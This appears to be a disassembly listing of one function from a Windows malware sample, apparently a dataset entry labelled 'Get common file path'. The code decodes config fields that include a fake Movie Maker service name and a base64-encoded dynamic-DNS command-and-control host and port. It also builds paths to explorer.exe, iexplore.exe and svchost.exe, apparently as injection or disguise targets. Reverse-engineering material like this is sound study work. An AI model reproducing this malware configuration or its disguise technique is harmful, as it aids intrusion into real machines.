Function at 0x403760
Capabilities:
Get common file path

Disassembly:
sub esp, 0x24
push ebx
push ebp
push esi
push 0x414134
call fcn.00408c60
push eax
call fcn.00408c60
push eax
call fcn.00408c60
xor esi, esi
push 0x414f48
push eax
xor ebx, ebx
mov dword [esp + 0x20], esi
call fcn.0040a2e4
mov ebp, eax
add esp, 0x14
cmp ebp, ebx
je 0x403bcd
push edi
cmp esi, ebx
jne 0x4037cf
mov ecx, 0x20
xor eax, eax
mov edi, str.WMMNetworkPry
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.WMMNetworkPry
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x403ba6
cmp esi, 1
jne 0x4037fb
mov ecx, 0x20
xor eax, eax
mov edi, str.Windows_Movie_Maker_Network_Sharing_ServiceYaf
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.Windows_Movie_Maker_Network_Sharing_ServiceYaf
jmp 0x403b9f
cmp esi, 2
jne 0x40382e
mov ecx, pe_nt_image_headers32
xor eax, eax
mov edi, str.Physical_devices_to_share_Windows_Movie_Maker_NetworkWis_Library.
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, str.Physical_devices_to_share_Windows_Movie_Maker_NetworkWis_Library.
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x403ba6
cmp esi, 3
jne 0x40385a
mov ecx, pe_nt_image_headers32
xor eax, eax
mov edi, str.YmVuYmVud2FuLjMzMjIub3JnOjU1NTU
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.YmVuYmVud2FuLjMzMjIub3JnOjU1NTU
jmp 0x403b9f
cmp esi, 4
jne 0x40389d
mov ecx, 0x20
xor eax, eax
mov edi, 0x414b7c
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x403bab
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x414b7c
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
jmp 0x403ba6
cmp esi, 5
jne 0x4038c9
mov ecx, 0x20
xor eax, eax
mov edi, str.Program_Files
rep stosd dword es:[edi], eax
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, str.Program_Files
jmp 0x403b9f
cmp esi, 6
jne 0x403bab
mov ecx, 0x20
xor eax, eax
mov edi, 0x414c7c
push ebp
rep stosd dword es:[edi], eax
call fcn.00408c60
mov ecx, 7
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push 0x20
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov byte [esp + 0x15], bl
mov esi, ebp
mov eax, str.ZXhwbG9yZXIuZXhl
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403939
cmp cl, bl
je 0x403935
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403939
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403915
xor eax, eax
jmp 0x40393e
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x4039ed
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x414c7c
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.:windowsexp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x414c7c
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.lorer
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebp
mov eax, str.aWV4cGxvcmUuZXhl
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403a18
cmp cl, bl
je 0x403a14
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403a18
add eax, 2
add esi, 2
cmp cl, bl
jne 0x4039f4
xor eax, eax
jmp 0x403a1d
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x403acc
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x414c7c
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.:Program_FilesInternet_Exploreriexp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, 0x414c7c
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.lore
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, ebp
mov eax, str.c3ZjaG9zdC5leGU
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x403af7
cmp cl, bl
je 0x403af3
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x403af7
add eax, 2
add esi, 2
cmp cl, bl
jne 0x403ad3
xor eax, eax
jmp 0x403afc
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jne 0x403bab
or ecx, 0xffffffff
lea edi, [esp + 0x14]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, 0x414c7c
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, str.:windows_system32_svc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.host
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str..exe
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x414c7c
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x414f48
push ebx
call fcn.0040a2e4
mov esi, dword [esp + 0x18]
add esp, 8
mov ebp, eax
inc esi
cmp ebp, ebx
mov dword [esp + 0x10], esi
jne 0x40379d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret